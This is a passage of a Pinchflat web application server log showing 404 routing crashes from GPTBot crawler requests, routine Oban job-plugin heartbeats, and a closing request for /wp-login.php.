/sources/3/media/3302/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.261339.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3302/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 40328}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.173", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.227.173" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.261340.0>, params: %{}, path_info: ["sources", "3", "media", "3302", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, (truncated) 19:07:59.744 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:00.302 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:08:05.979 [info] GET /sources/3/media/3298/force_download 19:08:05.980 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1336.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:08:05.981 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1337.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:08:05.981 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 19:08:05.982 [error] #PID<0.261344.0> running PinchflatWeb.Endpoint (connection #PID<0.261343.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/3/media/3298/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3298/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.261343.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3298/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 40344}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.173", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.227.173" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.261344.0>, params: %{}, path_info: ["sources", "3", "media", "3298", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.173"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.227.173"} ], request_path: "/sources/3/media/3298/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIDy3T6ELDGboIcAMK3C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.261343.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3298/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 40344}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.173", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.227.173" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3298/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.261343.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3298/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 40344}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.173", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.227.173" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.261344.0>, params: %{}, path_info: ["sources", "3", "media", "3298", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, (truncated) 19:08:29.746 [info] {"source":"oban","duration":1600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:59.748 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:00.303 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:09:29.750 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:59.752 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:00.304 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:10:29.754 [info] {"source":"oban","duration":1058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:59.755 [info] {"source":"oban","duration":931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:00.305 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:11:29.758 [info] {"source":"oban","duration":1732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:59.761 [info] {"source":"oban","duration":1393,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:00.306 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:12:29.763 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:59.765 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:00.307 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:13:29.767 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:59.769 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:00.308 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:14:29.771 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:59.773 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:00.309 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:15:29.775 [info] {"source":"oban","duration":1726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:59.778 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:00.310 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:16:29.780 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:59.782 [info] {"source":"oban","duration":1619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:00.311 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:17:29.784 [info] {"source":"oban","duration":1175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:59.786 [info] {"source":"oban","duration":1285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:00.312 [info] {"source":"oban","duration":517,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:18:29.788 [info] {"source":"oban","duration":934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:59.790 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:00.313 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:19:29.792 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:59.794 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:00.314 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:20:29.796 [info] {"source":"oban","duration":1405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:59.798 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:00.315 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:21:29.800 [info] {"source":"oban","duration":1345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:59.802 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:00.316 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:22:29.804 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:59.806 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:00.317 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:23:29.808 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:59.810 [info] {"source":"oban","duration":1232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:00.318 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:24:29.812 [info] {"source":"oban","duration":1269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:59.814 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:00.319 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:25:29.816 [info] {"source":"oban","duration":904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:59.818 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:00.320 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:26:29.820 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:59.822 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:00.321 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:27:29.824 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:59.826 [info] {"source":"oban","duration":1203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:00.322 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:28:29.828 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:59.830 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:00.323 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:29:29.832 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:59.833 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:00.324 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:30:29.836 [info] {"source":"oban","duration":1114,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:59.838 [info] {"source":"oban","duration":1036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:00.325 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:31:29.840 [info] {"source":"oban","duration":1339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:59.842 [info] {"source":"oban","duration":1038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:00.326 [info] {"source":"oban","duration":198,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:32:29.844 [info] {"source":"oban","duration":1099,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:59.846 [info] {"source":"oban","duration":1014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:00.327 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:33:29.848 [info] {"source":"oban","duration":1016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:59.850 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:00.328 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:34:29.852 [info] {"source":"oban","duration":885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:59.854 [info] {"source":"oban","duration":967,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:00.329 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:35:29.856 [info] {"source":"oban","duration":962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:59.858 [info] {"source":"oban","duration":926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:00.330 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:36:29.860 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:59.862 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:00.331 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:37:29.864 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:59.866 [info] {"source":"oban","duration":1340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:00.332 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:38:29.868 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:59.870 [info] {"source":"oban","duration":1038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:00.333 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:39:29.872 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:59.874 [info] {"source":"oban","duration":1405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:00.334 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:40:29.876 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:59.878 [info] {"source":"oban","duration":1185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:00.335 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:41:29.880 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:59.882 [info] {"source":"oban","duration":1084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:00.336 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:42:29.884 [info] {"source":"oban","duration":974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:59.886 [info] {"source":"oban","duration":1139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:00.337 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:43:29.888 [info] {"source":"oban","duration":1131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:59.890 [info] {"source":"oban","duration":1014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:00.338 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:44:29.892 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:59.894 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:00.339 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:45:29.896 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:59.898 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:00.340 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:46:29.900 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:59.902 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:00.341 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:47:29.904 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:59.906 [info] {"source":"oban","duration":1171,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:00.342 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:48:29.908 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:59.910 [info] {"source":"oban","duration":1161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:00.343 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:49:29.912 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:59.914 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:00.344 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:50:29.916 [info] {"source":"oban","duration":995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:59.918 [info] {"source":"oban","duration":944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:00.345 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:51:29.920 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:59.922 [info] {"source":"oban","duration":1029,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:00.346 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:52:29.924 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:59.926 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:00.347 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:53:29.928 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:59.930 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:00.348 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:54:29.932 [info] {"source":"oban","duration":1199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:59.934 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:00.349 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:55:29.936 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:59.938 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:00.350 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:56:29.940 [info] {"source":"oban","duration":1683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:59.942 [info] {"source":"oban","duration":1309,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:00.351 [info] {"source":"oban","duration":186,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:57:29.944 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:59.946 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:00.352 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:58:29.948 [info] {"source":"oban","duration":1696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:59.183 [info] GET /wp-login.php 19:58:59.184 [debug] QUERY OK source="settings" db=0.2ms idle=1539.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:58:59.185 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1540.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:58:59.185 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 19:58:59.185 [error] #PID<0.261625.0> running PinchflatWeb.Endpoint (connection #PID<0.261624.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /wp-login.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.261624.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-login.php", host: 